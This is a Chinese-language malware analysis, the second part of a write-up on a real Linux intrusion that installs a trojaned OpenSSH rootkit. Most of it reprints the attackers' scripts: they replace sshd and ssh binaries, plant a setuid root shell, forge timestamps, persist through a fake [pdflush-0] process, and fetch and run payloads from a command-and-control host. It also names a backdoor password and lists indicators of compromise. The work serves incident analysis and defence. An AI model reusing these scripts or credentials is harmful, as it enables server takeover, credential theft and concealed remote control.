解剖一次真正Linux 入侵:OpenSSH木马病毒工具2
########################################## install partif [ "$install" = "1" ] ; then
echo
echo -e "\033[0;36m [x] creating sniffer files and main dir \033[0m\033[0m" #cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/pps"
mkdir /etc/pps ; chmod 777 /etc/pps/
luam_timestamp /etc/pps
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/X11/.pr"
mkdir /etc/X11 ; chmod 777 /etc/X11/ ; > /etc/X11/.pr
luam_timestamp /etc/X11/.pr
echo
echo -e "\033[0;36m [x] creating goprem dir & file (suid) \033[0m\033[0m" #cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /usr/include/arpa"
mkdir /usr/include 1>/dev/null 2>/dev/null
mkdir /usr/include/arpa 1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "gcc goprem.c & moving"
gcc goprem.c -o goprem 2>/dev/null
mv goprem /usr/include/arpa/
{C} chown root:root /usr/include/arpa/goprem
chmod +s /usr/include/arpa/goprem
luam_timestamp /usr/include/arpa/goprem
echo
echo -e "\033[0;36m [x] getting permisions in \033[0m\033[0m" #cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin"
chattr -R -aui /usr/sbin/ 1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin"
chattr -R -aui /usr/bin/ 1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/bin"
chattr -R -aui /bin/ 1>/dev/null 2>/dev/null
echo
echo -e "\033[0;36m [x] replacing system files \033[0m\033[0m" #cyan
maindir=`pwd` ; workdir="$maindir/$2"
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "saving server's sshd in /etc/pps/old-srvf/"
mkdir /etc/pps/old-srvf ; cp /usr/sbin/sshd /etc/pps/old-srvf/old55hd
luam_timestamp /etc/pps/old-srvf
luam_timestamp /etc/pps/old-srvf/old55hd
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin/sshd"
cp -f $workdir/sshd-eu /usr/sbin/sshd
luam_timestamp /usr/sbin/sshd
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/ssh"
cp -f $workdir/ssh /usr/bin/ssh
luam_timestamp /usr/bin/ssh
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/sftp"
cp -f $workdir/sftp /usr/bin/sftp
luam_timestamp /usr/bin/sftp
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/scp"
cp -f $workdir/scp /usr/bin/scp
luam_timestamp /usr/bin/scp
echo
echo -e "\033[0;36m [x] moving to the last step (sshd restart file) \033[0m\033[0m" #cyan
echo " mv s_res /tmp/.bla ; cd /tmp/.bla ; rm -rf rkkit*"
echo " nohup ./s_res 1>/dev/null 2>/dev/null "
echo " tar zxf side_files.tgz -C /etc/pps ; cd /etc/pps/side_files ; rm -rf /tmp/.bla"
echo
exit
fi
# EOF install part
脚本4(p3):
该脚本是由脚本p2通过指令curl --progress-bar -O http://http://www.zjjv.com///.../auto/p3调用的。
调用一些其他工具。
在仔细研究附加脚本内容和其用处之前,我要先检查一下输出。
这里有几个值得注意的地方,但是最有趣的是最后一行显示了被入侵系统的所有信息以及主机IP。甚至还为该系统分配了一个独特的ID。网络罪犯们保存这样的信息是为了跟踪所有的入侵系统。
P3脚本的完整内容如下所示:
#!/bin/bash
############## rkip install (p3)
# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan
os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`
echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip" # green
rm -rf side_files.tgz
curl --progress-bar -O http://http://www.zjjv.com///.../auto/side_files.tgz
if [ ! -f side_files.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m starting rkip install" # green
if [ -z $side_files_dir ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m no side_files_dir. aborting" ; echo ; exit ; fi
rm -rf /etc/pps/side_files
tar mzxf side_files.tgz ; rm -rf side_files.tgz ; cp -R side_files /etc/pps
rkipdir="/etc/pps/side_files"
cd $rkipdir ; yes y | ./install $side_files_dir 1>>$maindir/1tempfiles/log.rkip 2>>$maindir/1tempfiles/log.rkip
node_process_id=$(pidof [pdflush-0])
if [[ -z $node_process_id ]]; then
#echo " nu exista"
echo -e "\033[0;31m [-] \033[0m\033[0m background proccess did not start. aborting. check ($maindir/1tempfiles/log.rkip). script in /etc/pps/side_files"
echo ; exit
{C} fi
echo -e "\033[0;32m [+] \033[0m\033[0m rkip install done (logs in $maindir/1tempfiles/log.rkip)"
echo -e "\033[0;36m [x] \033[0m\033[0m write this down in your notepad :)" #cyan
echo
id_unic=`cat $maindir/1tempfiles/log.rkip|grep NOTEPAD`
echo "$id_unic"
echo
#### cleaning shit out
cd /etc/pps ; rm -rf side_files ; ./dep-safe.arhivez
rm -rf $maindir
side_files.tgz工具的分析
安装脚本
主脚本“安装”执行几个主要功能。它定义了一个timestamp-ptty函数来修改一些文件的时间戳,使得调查更加困难。选择的时间戳和/bin/ls中的类似。
同时,它还会检查是否存在一些已定义的URL,这会在之后的检查中发挥作用。
最后它还会调用另一个脚本dep-install_install2,这也是side_files.tgz的一部分。
安装脚本的完整内容如下:
#!/bin/bash
# echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
# echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
# echo -ne "\033[0;36m xxx \033[0m\033[0m" #cyan
if [ $# != 1 ]; then
echo
echo -e "\033[0;31m $0 [... | .unix] \033[0m\033[0m" # red
echo -e "\033[0;36m [... | .unix] = which main server dir is used \033[0m\033[0m" #cyan
echo
exit;
fi ; echo
############## facem linkul de la main server in functie de director
myhost="gopremium.mooo.com"
main_link="http://$myhost/$1"
mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null
## adaog timestamp
echo "timestamp-ptty" > /usr/lib/libu.a/TS8402386704
touch -r /bin/ls /usr/lib/libu.a
touch -r /bin/ls /usr/lib/libu.a/TS8402386704
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $1
}
## EOF adaog timestamp
echo "$main_link" > /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/l3290367235
main_link_check=`cat /usr/lib/libu.a/l3290367235`
if [ "$main_link" == "$main_link_check" ] ; then
#echo "aceleasi linkuri"
echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
echo "main server link: $main_link_check"
good=1
else
#echo "difera"
echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
echo "there is something wrong with the main_link."
good=0
fi
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi
echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan
echo -n "press any key if link is okay" ; read a
# EOF facem linkul de la main server in functie de director
### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
'dep-install_install2'
'dep-install_ptty'
)
for t in "${DEP[@]}" ; do
if [ -f $t ] ; then
echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
echo "$t - found"
else
echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
echo "$t - MISSING OR EMPTY"
good=0
fi
done
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi
echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan
echo "starting dep-install_install2"
./dep-install_install2
对dep-install_install2脚本的分析
该脚本的第一部分使用了同样的手段来修改文件的时间戳。
然后它会查询http://http://www.zjjv.com///.unix/return_ip.php来找出受损系统的公开IP。
此外还有一个函数来生成一个唯一的随机ID,用来定位受损系统。
该脚本还会编译events.c,这是一个每小时运行一次的程序,作用是来启动另一个指令/usr/bin/ptty。它甚至会定义一个假名字[pdflush-0],pdfflush 是一个通常用于为高速缓存在 Linux 系统中运行的程序。还有另一个有趣的技术来隐藏恶意进程。
Events.c内容如下:
#include
#include
#define FAKE "[pdflush-0]"
int main(int argc, char **argv){
strcpy(argv[0],FAKE);
while (1) {
{C} sleep(3600);
system("/usr/sbin/ptty 1>>/dev/null 2>>/dev/null");
}
return 0;
}
在C语言代码中被调用的 /usr/sbin/ptty指令是脚本 dep-install_ptty,这是TGZ文件的一部分。我会在之后具体解释脚本内容。
此脚本所做的下一件事就是确保执行event二进制文件(编译文件)。这是通过修改/etc/init/env.conf 文件,在其中加入对外壳脚本 /usr/sbin/env. /usr/sbin/env的调用,该外壳程序是用来调用event二进制文件的。
下面是修改版本的内容(请注意最后一行以及对/usr/sbin/env的调用):
# env - Event System Register
description "Event System Register"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
exec /usr/sbin/env
"/usr/bin/env" 也是side_files.tgz的一部分,基本上调用编译好的二进制文件 'events'.
"/usr/sbin/env"中的代码:
killall -9 events 1>/dev/null 2>/dev/null
nohup events 1>/dev/null 2>/dev/null &
通过对不同的文件的多次调用来执行恶意文件,并利用其他的二进制文件和配置文件,使得网络罪犯得以隐身。
最后,脚本会发送一个 HTTP 请求到服务器,用来通知已经入侵了一个新的系统。
对dep-install_ptty脚本的分析
此脚本负责每小时与C&C进行交互。脚本的主要作用如下:
· 检查是否还有其他用户连接到系统当中,由此来决定脚本剩余内容是否需要执行
#!/bin/bash
ptty_ver="3.0"
######### verificam daca e cineva logat si nu are idle.
logati_fara_idle=`w|grep -v 'southsea\|inordkuo\|localte\|lolo'|grep -v days|cut -c43-50|grep s`
if [[ -z $logati_fara_idle ]] ; then
# echo "nu e nimeni activ pe server"
useri=0
else
# echo "sunt useri activi pe server"
useri=1
fi
# EOF verificam daca e cineva logat si nu are idle.
######## continuam cu scriptul DOAR DACA nu sunt useri activi pe server
if [ "$useri" == "0" ] ; then
####### verificam daca merge dns-ul, daca nu, adaogam nameserver
dns=`cat /etc/resolv.conf |grep 208.67.220.222`
if [[ -z $dns ]] ; then
# echo "dns nu e bun"
echo "nameserver 208.67.220.222" >> /etc/resolv.conf
fi
# EOF verificam daca merge dns-ul, daca nu, adaogam nameserver
####### continuam cu scriptul DOAR DACA merge netul, verificam pe google
url_check_net="http://http://www.zjjv.com//"
if curl --output /dev/null --silent --head --fail "$url_check_net"; then
# echo "URL exists: $url_check_net - merge netul"
ip=`cat /usr/lib/libu.a/i1935678123`
id_unic=`cat /usr/lib/libu.a/g239293471` # id unic pt fiecare server in parte, e generat la install
url=`cat /usr/lib/libu.a/l3290367235` # hostul principal il ia din txt
#url="http://192.168.137.177/test/sc/test" # hostul principal. E DEFINIT IN ptty SI IN install
### adaog timestamp
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $1 2>/dev/null
}
# EOF timestamp
luam_timestamp /usr/lib/libu.a
luam_timestamp /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/i1935678123
luam_timestamp /usr/lib/libu.a/g239293471
######### DACA EXISTA ARHIVA srvupdt.tgz PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA.
url_srvupdt="$url/srvupdt.tgz" # il pui daca vrei sa lansezi un script pe servere
{C} url_srvupdt_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt.tgz" # intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_srvupdt"; then
# echo "URL exists: $url_srvupdt"
curl -s "${url_srvupdt_confirmare}" 1>/dev/null 2>/dev/null &
tempdir="/tmp/.tmp"
rm -rf "$tempdir" 1>/dev/null 2>/dev/null
mkdir "$tempdir" 1>/dev/null 2>/dev/null
curl --silent "$url_srvupdt" --output "$tempdir"/srvupdt.tgz 2>/dev/null
cd "$tempdir" 2>/dev/null
tar zxvf srvupdt.tgz 1>/dev/null 2>/dev/null
cd srvupdt 1>/dev/null 2>/dev/null
./install & 2>/dev/null
fi
# EOF DACA EXISTA ARHIVA PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA
######### ARHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
url_id_unic="$url/srvupdt_$id_unic.tgz"
url_id_unic_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt_$id_unic.tgz" # intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_id_unic"; then
# echo "URL exists: $url_id_unic"
curl -s "${url_id_unic_confirmare}" 1>/dev/null 2>/dev/null &
tempdir="/var/tmp/.tmp"
rm -rf "$tempdir" 1>/dev/null 2>/dev/null
mkdir "$tempdir" 1>/dev/null 2>/dev/null
curl --silent "$url_id_unic" --output "$tempdir"/srvupdt_$id_unic.tgz 2>/dev/null
cd "$tempdir" 2>/dev/null
tar zxvf srvupdt_$id_unic.tgz 1>/dev/null 2>/dev/null
cd srvupdt_$id_unic 1>/dev/null 2>/dev/null
./install & 2>/dev/null
fi
# EOF RHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
########## PORNIM RESTUL SCRIPTULUI
changes=0
ip_changed="NO"
sshd_changed="NO"
sshd_backup_missing="NO"
srv_was_down="NO"
######## verificam ce ip are serverul
url_return_ip="$url/return_ip.php" # din el ia valoarea $new_ip fiecare server
if curl --output /dev/null --silent --head --fail "$url_return_ip"; then
new_ip=`curl -s "$url_return_ip"|grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'`
fi
# EOF verificam ce ip are serverul
####### verificam daca s-a schimbat ip-ul
if [ "$ip" != "$new_ip" ] ; then
# s-a schimbat ip-ul
changes=1
ip_changed="$new_ip"
fi
# EOF verificam daca s-a schimbat ip-ul
####### verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
if [ -f /usr/lib/libu.a/m9847292 ] ; then
# exista fisierul nostru de rk
size_rk=`wc -c
size_sshd=`wc -c
if [ "$size_rk" != "$size_sshd" ] ; then
# cineva a schimbat sshd-ul
### punem sshd-ul meu inapoi
cp /usr/lib/libu.a/m9847292 /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
chattr -aui /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
mv -f /usr/lib/libu.a/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
rm -rf /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
killall -9 sshd 1>>/dev/null 2>>/dev/null
luam_timestamp /usr/sbin/sshd
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# EOF punem sshd-ul meu inapoi
changes=1
{C} sshd_changed="YES"
fi
else
# cineva a sters fisierul nostru de rk (backup-ul)
changes=1
sshd_backup_missing="YES"
sshd_changed="UNKNOWN"
fi
# EOF verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
####### verificam daca sshd e pornit, daca nu, il pornim noi
sshd_process=`ps x | grep -v grep|grep sshd`
if [[ -z $sshd_process ]]; then
# echo "nu ruleaza"
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# nu mai dau notificare daca am pornit eu sshd
# changes=1
fi
# EOF verificam daca sshd e pornit, daca nu, il pornim noi
###### verificam daca a fost cazut netul
if [ -f /usr/lib/libu.a/h439302s ] ; then
# serverul a fost cazut
changes=1
srv_was_down="YES"
fi
##### DACA scriptul detecteaza schimbari, intram pe link
if [ "$changes" = 1 ] ; then
### trimitem datele catre server
curl -s "${url}/srv.php?ip=${ip}&ip_changed=${ip_changed}&sshd_changed=${sshd_changed}&sshd_backup_missing=${sshd_backup_missing}&srv_was_down=${srv_was_down}&ptty_ver=${ptty_ver}" 1>/dev/null 2>/dev/null &
fi
# EOF DACA scriptul detecteaza schimbari, intram pe link
# EOF PORNIM RESTUL SCRIPTULUI
else
# echo "URL does NOT exist: $url_check_net - NU merge netul"
mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null ## in caz ca ne-a sters cineva dir
echo "srv was down" > /usr/lib/libu.a/h439302s 2>/dev/null
luam_timestamp /usr/lib/libu.a/h439302s
fi
# EOF continuam cu scriptul DOAR DACA merge netul, verificam pe google
fi
# EOF continuam cu scriptul DOAR DACA nu sunt useri activi pe server
最后,P3 脚本会运行一些命令和脚本来删除所有临时文件。
总结:
· 后门功能:
· 一个通用于不同平台和架构的Linux系统的root工具包
· 本地的root外壳程序
· 主要的SSHD二进制文件被一个恶意文件覆盖。此二进制文件中包含有后门密码以确保访问。此外,任何通过该密码进行的访问都不会被跟踪,这个密码是PRtestD
· 多重体系结构和模块化:
· 对涉及的不同脚本使用模块化处理办法
· 根据操作系统和体系结构的不同下载执行不同文件
· 嗅探功能:木马感染几个二进制文件,比如scp、sftp、 ssh,来窃取用户名和密码。
· 反鉴定功能:
· 删除日志文件来删除入侵证据 (/var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp)
· 修改文件时间戳
· Root工具包功能:
· 通过不同技术隐藏进程和文件
· C2C功能:
· 每小时与C&C交互,通知系统中的任何变化(如:出现新IP)
· 每小时与C&C交互,以获取任何更新
更新:对于SSHD二进制文件中的后门密码的最新分析。
IOCs
5.189.136.43
/etc/X11/.pr
/etc/pps
/usr/bin/ptty
/etc/init/env.conf (containing /usr/sbin/env)
/usr/bin/events/events
MD5 (arm61/arm61/run-libcheck) = 34976ac680474edd12d16d84470bd702
MD5 (arm61/arm61/scp) = 5eb1b59dbcd806ce41858bf40e10cab0
MD5 (arm61/arm61/sftp) = dce8fc0c3ddf0351e4e81f404b85d7bb
MD5 (arm61/arm61/ssh) = aeae5ae324e118021cb7e7ee7d5e7a26
MD5 (arm61/arm61/sshd) = 7aadb643f8345fb59e8998e18209f71a
MD5 (arm61/arm61/sshd-eu) = 7aadb643f8345fb59e8998e18209f71a
MD5 (vyos/vyos/scp) = 6797f4801407052832ff482d5b1acf06
MD5 (vyos/vyos/sftp) = 2d3a350e5210255f89a61a082254233f
MD5 (vyos/vyos/ssh) = 5b3193530738e8e658c5ab8f63b5ee0d
MD5 (vyos/vyos/sshd-eu) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos/vyos/test-sshd) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos64/vyos64/scp) = 300f7413eb76bf6905df1f5182e52f9e
MD5 (vyos64/vyos64/sftp) = 01a4f0f38096df67e13c6e9ed7ccc205
MD5 (vyos64/vyos64/ssh) = 3e7dfbac340929fc54aa459cc7ad181b
MD5 (vyos64/vyos64/sshd-eu) = b327add04800e05480a020af2ab993e0
MD5 (vyos64/vyos64/test-sshd) = b327add04800e05480a020af2ab993e0
MD5 (edgeos/edgeos/scp) = ce8e196db65bed7862d98d4a14283ae4
MD5 (edgeos/edgeos/sftp) = 0e34c468857e5e3d66ec2f0bd223d38c
MD5 (edgeos/edgeos/ssh) = 47f2e08da73bb5e5d6c61d347d1bfbf1
MD5 (edgeos/edgeos/sshd-eu) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos/edgeos/test-sshd) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos64/edgeos64/scp) = 602793976e2f41b5a1942cfd2784d075
MD5 (edgeos64/edgeos64/sftp) = e597cfee6f877e82339fab3e322d79b7
MD5 (edgeos64/edgeos64/ssh) = d5f6794c3b41f1d7f12715ba3315fd7b
MD5 (edgeos64/edgeos64/sshd) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/sshd-eu) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/test-sshd) = e597cfee6f877e82339fab3e322d79b7